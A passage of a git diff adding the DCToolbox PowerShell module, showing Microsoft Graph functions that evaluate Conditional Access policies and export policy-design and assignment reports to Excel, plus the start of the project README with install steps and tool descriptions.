Add-Member -MemberType NoteProperty -Name "Match" -Value $true + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: FALSE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $false + } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: FALSE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $false + } + + + $CustomObject + + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message '' } + } + + + Write-Verbose -Verbose -Message "Results..." + + + if ($IncludeNonMatchingPolicies) { + $Result + } + else { + $Result | where Match -eq $true + } + + + if ($SummarizedOutput) { + $Enforcement = @((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).BuiltInControls | Select-Object -Unique) + + if ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).AuthenticationStrength -eq $true) { + $Enforcement += 'authenticationStrength' + } + + if ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).TermsOfUse | Select-Object -Unique) { + $Enforcement += 'termsOfUse' + } + + $CustomControls = ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).CustomAuthenticationFactors | Select-Object -Unique) + + if ($CustomControls) { + $Enforcement += $CustomControls + } + + if ($Enforcement -contains 'block') { + $Enforcement = 'block' + } + + Write-Host '' + Write-Host -ForegroundColor Cyan 'Entra ID Sign-In test parameters:' + Write-Host -ForegroundColor Magenta ($ConditionsToSimulate | Format-List | Out-String) + + Write-Host -ForegroundColor Cyan 'Applied Conditional Access policies:' + + $AppliedPolicies = foreach ($Policy in ($Result | where Match -eq $True)) { + $EnforcementPerPolicy = @(($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).BuiltInControls | Select-Object -Unique) + + if (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).AuthenticationStrength -eq $true) { + $EnforcementPerPolicy += 'authenticationStrength' + } + + if (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).TermsOfUse | Select-Object -Unique) { + $EnforcementPerPolicy += 'termsOfUse' + } + + $CustomControls = (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).CustomAuthenticationFactors | Select-Object -Unique) + + if ($CustomControls) { + $EnforcementPerPolicy += $CustomControls + } + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Policy" -Value ($Policy).Policy + + $Operator = ($Policy).GrantControls.Operator + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Operator" -Value ((($Policy).GrantControls | ConvertFrom-Json).Operator) + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Controls" -Value $EnforcementPerPolicy + $CustomObject + } + + Write-Host -ForegroundColor Magenta ($AppliedPolicies | Format-Table | Out-String) + + if (!($AppliedPolicies)) { + Write-Host -ForegroundColor DarkGray 'None' + Write-Host '' + Write-Host '' + } + + Write-Host -ForegroundColor Cyan "Enforced controls:" + + foreach ($Row in ($Enforcement -replace " ", "`n")) { + if ($Row -eq 'block') { + Write-Host -ForegroundColor Red $Row + } + else { + Write-Host -ForegroundColor Green $Row + } + } + + if (!($Enforcement)) { + Write-Host '' + Write-Host -ForegroundColor DarkGray 'No controls enforced :(' + Write-Host '' + } + + Write-Host '' + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function New-DCConditionalAccessPolicyDesignReport { + <# + .SYNOPSIS + Automatically generate an Excel report containing your current Conditional Access policy design. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Conditional Access policies and exports an Excel report, You can use the report as documentation, design document, or to get a nice overview of all your policies. + + The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: + Install-Module ImportExcel -Force + + The report is exported to Excel and will automatically open. In Excel, please do this: + 1. Select all cells. + 2. Click on "Wrap Text". + 3. Click on "Top Align". + + The report is now easier to read. + + The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + + .INPUTS + None + + .OUTPUTS + Excel report with all Conditional Access policies. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + New-DCConditionalAccessPolicyDesignReport + #> + + + + # ----- [Initialisations] ----- + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check if the Excel module is installed. + if (Get-Module -ListAvailable -Name "ImportExcel") { + # Do nothing. + } + else { + Write-Error -Exception "The Excel PowerShell module is not installed. Please, run 'Install-Module ImportExcel -Force' as an admin and try again." -ErrorAction Stop + } + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Application.Read.All', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Export all Conditional Access policies from Microsoft Graph as JSON. + Write-Verbose -Verbose -Message "Generating Conditional Access policy design report..." + + # Fetch conditional access policies. + Write-Verbose -Verbose -Message "Getting all Conditional Access policies..." + $CAPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + # Fetch service principals for id translation. + $EnterpriseApps = Get-MgServicePrincipal + + # Fetch roles for id translation. + $EntraIDRoles = Get-MgDirectoryRoleTemplate | Select-Object DisplayName, Description, Id | Sort-Object DisplayName + + + # Format the result. + $Result = foreach ($Policy in $CAPolicies) { + $CustomObject = New-Object -TypeName psobject + + + # displayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "displayName" -Value (Out-String -InputObject $Policy.displayName) + + + # state + $CustomObject | Add-Member -MemberType NoteProperty -Name "state" -Value (Out-String -InputObject $Policy.state) + + + # includeUsers + $Users = foreach ($User in $Policy.conditions.users.includeUsers) { + if ($User -ne 'All' -and $User -ne 'GuestsOrExternalUsers' -and $User -ne 'None') { + (Get-MgUser -Filter "id eq '$User'").userPrincipalName + } + else { + $User + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsers" -Value (Out-String -InputObject $Users) + + + # excludeUsers + $Users = foreach ($User in $Policy.conditions.users.excludeUsers) { + if ($User -ne 'All' -and $User -ne 'GuestsOrExternalUsers' -and $User -ne 'None') { + (Get-MgUser -Filter "id eq '$User'").userPrincipalName + } + else { + $User + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsers" -Value (Out-String -InputObject $Users) + + + # includeGroups + $Groups = foreach ($Group in $Policy.conditions.users.includeGroups) { + if ($Group -ne 'All' -and $Group -ne 'None') { + (Get-MgGroup -Filter "id eq '$Group'").DisplayName + } + else { + $Group + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeGroups" -Value (Out-String -InputObject $Groups) + + + # excludeGroups + $Groups = foreach ($Group in $Policy.conditions.users.excludeGroups) { + if ($Group -ne 'All' -and $Group -ne 'None') { + (Get-MgGroup -Filter "id eq '$Group'").DisplayName + } + else { + $Group + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeGroups" -Value (Out-String -InputObject $Groups) + + + # includeRoles + $Roles = foreach ($Role in $Policy.conditions.users.includeRoles) { + if ($Role -ne 'None' -and $Role -ne 'All') { + $RoleToCheck = ($EntraIDRoles | Where-Object { $_.Id -eq $Role }).displayName + + if ($RoleToCheck) { + $RoleToCheck + } + else { + $Role + } + } + else { + $Role + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeRoles" -Value (Out-String -InputObject $Roles) + + + # excludeRoles + $Roles = foreach ($Role in $Policy.conditions.users.excludeRoles) { + if ($Role -ne 'None' -and $Role -ne 'All') { + $RoleToCheck = ($EntraIDRoles | Where-Object { $_.Id -eq $Role }).displayName + + if ($RoleToCheck) { + $RoleToCheck + } + else { + $Role + } + } + else { + $Role + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeRoles" -Value (Out-String -InputObject $Roles) + + + # includeApplications + $Applications = foreach ($Application in $Policy.conditions.applications.includeApplications) { + if ($Application -ne 'None' -and $Application -ne 'All' -and $Application -ne 'Office365') { + ($EnterpriseApps | Where-Object { $_.AppId -eq $Application }).displayName + } + else { + $Application + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeApplications" -Value (Out-String -InputObject $Applications) + + + # excludeApplications + $Applications = foreach ($Application in $Policy.conditions.applications.excludeApplications) { + if ($Application -ne 'None' -and $Application -ne 'All' -and $Application -ne 'Office365') { + ($EnterpriseApps | Where-Object { $_.AppId -eq $Application }).displayName + } + else { + $Application + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeApplications" -Value (Out-String -InputObject $Applications) + + + # includeUserActions + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUserActions" -Value (Out-String -InputObject $Policy.conditions.applications.includeUserActions) + + + # userRiskLevels + $CustomObject | Add-Member -MemberType NoteProperty -Name "userRiskLevels" -Value (Out-String -InputObject $Policy.conditions.userRiskLevels) + + + # signInRiskLevels + $CustomObject | Add-Member -MemberType NoteProperty -Name "signInRiskLevels" -Value (Out-String -InputObject $Policy.conditions.signInRiskLevels) + + + # includePlatforms + $CustomObject | Add-Member -MemberType NoteProperty -Name "includePlatforms" -Value (Out-String -InputObject $Policy.conditions.platforms.includePlatforms) + + # excludePlatforms + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludePlatforms" -Value (Out-String -InputObject $Policy.conditions.platforms.excludePlatforms) + + #includeDeviceIDs + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeDeviceIDs" -Value (Out-String -InputObject $Policy.conditions.deviceIDs.includeDeviceIDs) + + #excludeDeviceIDs + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeDeviceIDs" -Value (Out-String -InputObject $Policy.conditions.deviceIDs.excludeDeviceIDs) + + # clientAppTypes + $CustomObject | Add-Member -MemberType NoteProperty -Name "clientAppTypes" -Value (Out-String -InputObject $Policy.conditions.clientAppTypes) + + + # includeLocations + $includeLocations = foreach ($includeLocation in $Policy.conditions.locations.includeLocations) { + if ($includeLocation -ne 'All' -and $includeLocation -ne 'AllTrusted' -and $includeLocation -ne '00000000-0000-0000-0000-000000000000') { + (Get-MgIdentityConditionalAccessNamedLocation -Filter "Id eq '$includeLocation'").DisplayName + } + elseif ($includeLocation -eq '00000000-0000-0000-0000-000000000000') { + 'MFA Trusted IPs' + } + else { + $includeLocation + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeLocations" -Value (Out-String -InputObject $includeLocations) + + + # excludeLocation + $excludeLocations = foreach ($excludeLocation in $Policy.conditions.locations.excludeLocations) { + if ($excludeLocation -ne 'All' -and $excludeLocation -ne 'AllTrusted' -and $excludeLocation -ne '00000000-0000-0000-0000-000000000000') { + (Get-MgIdentityConditionalAccessNamedLocation -Filter "Id eq '$includeLocation'").DisplayName + } + elseif ($excludeLocation -eq '00000000-0000-0000-0000-000000000000') { + 'MFA Trusted IPs' + } + else { + $excludeLocation + } + } + + + # excludeLocations + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeLocations" -Value (Out-String -InputObject $excludeLocations) + + + # grantControls + $CustomObject | Add-Member -MemberType NoteProperty -Name "grantControls" -Value (Out-String -InputObject $Policy.grantControls.builtInControls) + + + # termsOfUse + $TermsOfUses = foreach ($TermsOfUse in $Policy.grantControls.termsOfUse) { + $GraphUri = "https://graph.microsoft.com/v1.0/agreements/$TermsOfUse" + (Get-MgAgreement | where Id -eq $TermsOfUse).displayName + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "termsOfUse" -Value (Out-String -InputObject $TermsOfUses) + + + # operator + $CustomObject | Add-Member -MemberType NoteProperty -Name "operator" -Value (Out-String -InputObject $Policy.grantControls.operator) + + + # sessionControlsapplicationEnforcedRestrictions + $CustomObject | Add-Member -MemberType NoteProperty -Name "sessionControlsapplicationEnforcedRestrictions" -Value (Out-String -InputObject $Policy.sessionControls.applicationEnforcedRestrictions.isEnabled) + + + # sessionControlscloudAppSecurity + $CustomObject | Add-Member -MemberType NoteProperty -Name "sessionControlscloudAppSecurity" -Value (Out-String -InputObject $Policy.sessionControls.cloudAppSecurity.isEnabled) + + + # sessionControlssignInFrequency + $CustomObject | Add-Member -MemberType NoteProperty -Name "sessionControlssignInFrequency" -Value (Out-String -InputObject $Policy.sessionControls.signInFrequency) + + + # sessionControlspersistentBrowser + $CustomObject | Add-Member -MemberType NoteProperty -Name "sessionControlspersistentBrowser" -Value (Out-String -InputObject $Policy.sessionControls.persistentBrowser) + + + # Return object. + $CustomObject + } + + + # Export the result to Excel. + Write-Verbose -Verbose -Message "Exporting report to Excel..." + $Path = "$((Get-Location).Path)\Conditional Access Policy Design Report $(Get-Date -Format 'yyyy-MM-dd').xlsx" + $Result | Export-Excel -Path $Path -WorksheetName "CA Policies" -BoldTopRow -FreezeTopRow -AutoFilter -AutoSize -ClearSheet -Show + + + Write-Verbose -Verbose -Message "Saved $Path" + Write-Verbose -Verbose -Message "Done!" +} + + + +function New-DCConditionalAccessAssignmentReport { + <# + .SYNOPSIS + Automatically generate an Excel report containing your current Conditional Access assignments. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Conditional Access policy assignments, both group- and user assignments (for now, it doesn't support role assignments). It exports them to Excel in a nicely formatted report for your filtering and analysing needs. If you include the -IncludeGroupMembers parameter, members of assigned groups will be included in the report as well (of course, this can produce very large reports if you have included large groups in your policy assignments). + + The purpose of the report is to give you an overview of how Conditional Access policies are currently applied in an Entra ID tenant, and which users are targeted by which policies. + + The report does not include information about the policies themselves. Use New-DCConditionalAccessPolicyDesignReport for that task. + + The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: + Install-Module ImportExcel -Force + + The report is exported to Excel and will automatically open. In Excel, please do this: + 1. Select all cells. + 2. Click on "Wrap Text". + 3. Click on "Top Align". + + The report is now easier to read. + + More information can be found here: https://danielchronlund.com/2020/10/20/export-your-conditional-access-policy-assignments-to-excel/ + + .PARAMETER IncludeGroupMembers + If you include the -IncludeGroupMembers parameter, members of assigned groups will be included in the report as well (of course, this can produce a very large report if you have included large groups in your policy assignments). + + .INPUTS + None + + .OUTPUTS + Excel report with all Conditional Access aassignments. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + New-DCConditionalAccessAssignmentReport + + .EXAMPLE + New-DCConditionalAccessAssignmentReport -IncludeGroupMembers + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [switch]$IncludeGroupMembers + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check if the Excel module is installed. + if (Get-Module -ListAvailable -Name "ImportExcel") { + # Do nothing. + } + else { + Write-Error -Exception "The Excel PowerShell module is not installed. Please, run 'Install-Module ImportExcel -Force' as an admin and try again." -ErrorAction Stop + } + + + # Connect to Microsoft Graph. + Write-Verbose -Verbose -Message "Connecting to Microsoft Graph..." + if (!($AccessToken)) { + $AccessToken = Invoke-DCEntraIDDeviceAuthFlow -ReturnAccessTokenInsteadOfRefreshToken + } + + + # Get all Conditional Access policies. + Write-Verbose -Verbose -Message "Getting all Conditional Access policies..." + $GraphUri = 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies' + $CAPolicies = @(Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri) + Write-Verbose -Verbose -Message "Found $(($CAPolicies).Count) policies..." + + + # Get all group and user conditions from the policies. + $CAPolicies = foreach ($Policy in $CAPolicies) { + Write-Verbose -Verbose -Message "Getting assignments for policy $($Policy.displayName)..." + $CustomObject = New-Object -TypeName psobject + + + $CustomObject | Add-Member -MemberType NoteProperty -Name "displayName" -Value $Policy.displayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "state" -Value $Policy.state + + + Write-Verbose -Verbose -Message "Getting include groups for policy $($Policy.displayName)..." + $includeGroupsDisplayName = foreach ($Object in $Policy.conditions.users.includeGroups) { + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Object" + try { + (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).displayName + } + catch { + # Do nothing. + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeGroupsDisplayName" -Value $includeGroupsDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeGroupsId" -Value $Policy.conditions.users.includeGroups + + + Write-Verbose -Verbose -Message "Getting exclude groups for policy $($Policy.displayName)..." + $excludeGroupsDisplayName = foreach ($Object in $Policy.conditions.users.excludeGroups) { + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Object" + try { + (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).displayName + } + catch { + # Do nothing. + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeGroupsDisplayName" -Value $excludeGroupsDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeGroupsId" -Value $Policy.conditions.users.excludeGroups + + + Write-Verbose -Verbose -Message "Getting include users for policy $($Policy.displayName)..." + $includeUsersUserPrincipalName = foreach ($Object in $Policy.conditions.users.includeUsers) { + if ($Object -ne "All" -and $Object -ne "GuestsOrExternalUsers" -and $Object -ne "None") { + $GraphUri = "https://graph.microsoft.com/v1.0/users/$Object" + try { + (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri -ErrorAction "Continue").userPrincipalName + } + catch { + # Do nothing. + } + } + else { + $Object + } + } + + if ($Policy.conditions.users.includeUsers -ne "All" -and $Policy.conditions.users.includeUsers -ne "GuestsOrExternalUsers" -and $Policy.conditions.users.includeUsers -ne "None") { + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsersUserPrincipalName" -Value $includeUsersUserPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsersId" -Value $Policy.conditions.users.includeUsers + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsersUserPrincipalName" -Value $Policy.conditions.users.includeUsers + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsersId" -Value $Policy.conditions.users.includeUsers + } + + + Write-Verbose -Verbose -Message "Getting exclude users for policy $($Policy.displayName)..." + $excludeUsersUserPrincipalName = foreach ($Object in $Policy.conditions.users.excludeUsers) { + if ($Object -ne "All" -and $Object -ne "GuestsOrExternalUsers" -and $Object -ne "None") { + $GraphUri = "https://graph.microsoft.com/v1.0/users/$Object" + try { + (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri -ErrorAction "Continue").userPrincipalName + } + catch { + # Do nothing. + } + } + else { + $Object + } + } + + if ($Policy.conditions.users.excludeUsers -ne "All" -and $Policy.conditions.users.excludeUsers -ne "GuestsOrExternalUsers" -and $Policy.conditions.users.excludeUsers -ne "None") { + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsersUserPrincipalName" -Value $excludeUsersUserPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsersId" -Value $Policy.conditions.users.exludeUsers + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsersUserPrincipalName" -Value $Policy.conditions.users.exludeUsers + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsersId" -Value $Policy.conditions.users.exludeUsers + } + + + Write-Verbose -Verbose -Message "Getting include roles for policy $($Policy.displayName)..." + $includeRolesDisplayName = foreach ($Object in $Policy.conditions.users.includeRoles) { + $GraphUri = "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=$Object" + $RoleInfo = Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri -ErrorAction SilentlyContinue + + if ($RoleInfo.displayName) { + $RoleInfo.displayName + } + else { + $Object + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeRolesDisplayName" -Value $includeRolesDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeRolesId" -Value $Policy.conditions.users.includeRoles + + + Write-Verbose -Verbose -Message "Getting exclude roles for policy $($Policy.displayName)..." + $excludeRolesDisplayName = foreach ($Object in $Policy.conditions.users.excludeRoles) { + $GraphUri = "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=$Object" + $RoleInfo = Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri -ErrorAction SilentlyContinue + + if ($RoleInfo.displayName) { + $RoleInfo.displayName + } + else { + $Object + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeRolesDisplayName" -Value $excludeRolesDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeRolesId" -Value $Policy.conditions.users.excludeRoles + + + $CustomObject + } + + + # Fetch include group members from Entra ID: + $IncludeGroupMembersFromAd = @() + if ($IncludeGroupMembers) { + $IncludeGroupMembersFromAd = foreach ($Group in ($CAPolicies.includeGroupsId | Select-Object -Unique)) { + Write-Verbose -Verbose -Message "Getting include group members for policy $($Policy.displayName)..." + + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Group" + $GroupName = (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).displayName + + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Group/members" + $Members = (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).userPrincipalName | Sort-Object userPrincipalName + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Group" -Value $GroupName + $CustomObject | Add-Member -MemberType NoteProperty -Name "Members" -Value $Members + $CustomObject + } + } + + + # Fetch exclude group members from Entra ID: + $ExcludeGroupMembersFromAd = @() + if ($IncludeGroupMembers) { + $ExcludeGroupMembersFromAd = foreach ($Group in ($CAPolicies.excludeGroupsId | Select-Object -Unique)) { + Write-Verbose -Verbose -Message "Getting exclude group members for policy $($Policy.displayName)..." + + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Group" + $GroupName = (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).displayName + + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Group/members" + $Members = (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).userPrincipalName | Sort-Object userPrincipalName + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Group" -Value $GroupName + $CustomObject | Add-Member -MemberType NoteProperty -Name "Members" -Value $Members + $CustomObject + } + } + + + # Get all group and user conditions from the policies. + $Result = foreach ($Policy in $CAPolicies) { + # Initiate custom object. + $CustomObject = New-Object -TypeName psobject + + + $CustomObject | Add-Member -MemberType NoteProperty -Name "displayName" -Value $Policy.displayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "state" -Value $Policy.state + + + # Format include groups. + [string]$includeGroups = foreach ($Group in ($Policy.includeGroupsDisplayName | Sort-Object)) { + "$Group`r`n" + } + + if ($includeGroups.Length -gt 1) { + $includeGroups = $includeGroups.Substring(0, "$includeGroups".Length - 1) + } + + [string]$includeGroups = [string]$includeGroups -replace "`r`n ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeGroups" -Value $includeGroups + + + # Format include users. + [string]$includeUsers = $Policy.includeUsersUserPrincipalName -replace " ", "`r`n" + if ($includeUsers) { + [string]$includeUsers += "`r`n" + } + + if ($IncludeGroupMembers) { + [string]$includeUsers += foreach ($Group in $Policy.includeGroupsDisplayName) { + [string](($includeGroupMembersFromAd | Where-Object { $_.Group -eq $Group }).Members | Sort-Object) -replace " ", "`r`n" + } + } + + $includeUsers = $includeUsers -replace " ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsers" -Value $includeUsers + + foreach ($User in ($Policy.includeUsersUserPrincipalName | Sort-Object)) { + $includeUsers = "$includeUsers`r`n$User" + } + + + # Format include roles. + [string]$includeRoles = foreach ($Role in ($Policy.includeRolesDisplayName | Sort-Object)) { + "$Role`r`n" + } + + if ($includeRoles.Length -gt 1) { + $includeRoles = $includeRoles.Substring(0, "$includeRoles".Length - 1) + } + + [string]$includeRoles = [string]$includeRoles -replace "`r`n ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeRoles" -Value $includeRoles + + + # Format exclude groups. + [string]$excludeGroups = foreach ($Group in ($Policy.excludeGroupsDisplayName | Sort-Object)) { + "$Group`r`n" + } + + if ($excludeGroups.Length -gt 1) { + $excludeGroups = $excludeGroups.Substring(0, "$excludeGroups".Length - 1) + } + + [string]$excludeGroups = [string]$excludeGroups -replace "`r`n ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeGroups" -Value $excludeGroups + + + # Format exclude users. + [string]$excludeUsers = $Policy.excludeUsersUserPrincipalName -replace " ", "`r`n" + if ($excludeUsers) { + [string]$excludeUsers += "`r`n" + } + + if ($IncludeGroupMembers) { + [string]$excludeUsers += foreach ($Group in $Policy.excludeGroupsDisplayName) { + [string](($ExcludeGroupMembersFromAd | Where-Object { $_.Group -eq $Group }).Members | Sort-Object) -replace " ", "`r`n" + } + } + + $excludeUsers = $excludeUsers -replace " ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsers" -Value $excludeUsers + + foreach ($User in ($Policy.excludeUsersUserPrincipalName | Sort-Object)) { + $excludeUsers = "$excludeUsers`r`n$User" + } + + + # Format exlude roles. + [string]$exludeRoles = foreach ($Role in ($Policy.excludeRolesDisplayName | Sort-Object)) { + "$Role`r`n" + } + + if ($exludeRoles.Length -gt 1) { + $exludeRoles = $exludeRoles.Substring(0, "$exludeRoles".Length - 1) + } + + [string]$exludeRoles = [string]$exludeRoles -replace "`r`n ", "`r`n" + + $CustomObject | Add-Member -MemberType NoteProperty -Name "exludeRoles" -Value $exludeRoles + + + # Output the result. + $CustomObject + } + + + # Export the result to Excel. + Write-Verbose -Verbose -Message "Exporting report to Excel..." + $Path = "$((Get-Location).Path)\Conditional Access Assignment Report $(Get-Date -Format 'yyyy-MM-dd').xlsx" + $Result | Export-Excel -Path $Path -WorksheetName "CA Assignments" -BoldTopRow -FreezeTopRow -AutoFilter -AutoSize -ClearSheet -Show + + + Write-Verbose -Verbose -Message "Saved $Path" + Write-Verbose -Verbose -Message "Done!" + + + # ----- [End] ----- +} diff --git a/CSTijgers/DCToolbox-main/README.md b/CSTijgers/DCToolbox-main/README.md new file mode 100644 index 0000000..dba2a7d --- /dev/null +++ b/CSTijgers/DCToolbox-main/README.md @@ -0,0 +1,1336 @@ +# DCToolbox + +A PowerShell toolbox for Microsoft 365 security fans. + +*Author: Daniel Chronlund (https://danielchronlund.com)* + +--------------------------------------------------- + + +## About DCToolbox + +This PowerShell module contains a collection of tools for Microsoft 365 security tasks, Microsoft Graph functions, Entra ID management, Conditional Access, zero trust strategies, attack and defense scenarios, etc. + +--------------------------------------------------- + + +## Get Started + +Install the module from the PowerShell Gallery by running: + + Install-Module DCToolbox + +If you already installed it, update to the latest version by running: + + Update-Module DCToolbox + +PowerShell Gallery package link: https://www.powershellgallery.com/packages/DCToolbox + +When you have installed it, to get started, run: + + Get-DCHelp + +Explore and copy script examples to your clipboard with: + + Copy-DCExample + +--------------------------------------------------- + +## Included Tools + +### Add-DCConditionalAccessPoliciesBreakGlassGroup + +**Synopsis:** + +Excludes a specified Entra ID security group from all Conditional Access policies in the tenant. + +**Details:** + +Excludes a specified Entra ID security group from all Conditional Access policies in the tenant. + +Please create the group and add your break glass accounts before running this command. + +You can filter on a name prefix with -PrefixFilter. + +**Parameters:** + + -PrefixFilter + Description: Only modify the policies with this prefix. + Required: false + + -ExcludeGroupName + Description: The name of your exclude group in Entra ID. Please create the group and add your break glass accounts before running this command. + Required: true + +**Examples:** + + + Add-DCConditionalAccessPoliciesBreakGlassGroup -PrefixFilter 'GLOBAL - ' -ExcludeGroupName 'Excluded from Conditional Access' + +--- + +### Confirm-DCPowerShellVersion + +**Synopsis:** + +Check that a supported PowerShell version is running. + +**Details:** + + + +**Parameters:** + +**Examples:** + + + Confirm-DCPowerShellVersion + + Confirm-DCPowerShellVersion -Verbose + +--- + +### Connect-DCMsGraphAsApplication + +**Synopsis:** + +Connect to Microsoft Graph with application credentials. + +**Details:** + +This CMDlet will automatically connect to Microsoft Graph using application permissions (as opposed to delegated credentials). If successfull an access token is returned that can be used with other Graph CMDlets. Make sure you store the access token in a variable according to the example. + +Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: +https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + +**Parameters:** + + -ClientID + Description: Client ID for your Entra ID application. + Required: true + + -ClientSecret + Description: Client secret for the Entra ID application. + Required: true + + -TenantName + Description: The name of your tenant (example.onmicrosoft.com). + Required: true + +**Examples:** + + + $AccessToken = Connect-DCMsGraphAsApplication -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + +--- + +### Connect-DCMsGraphAsUser + 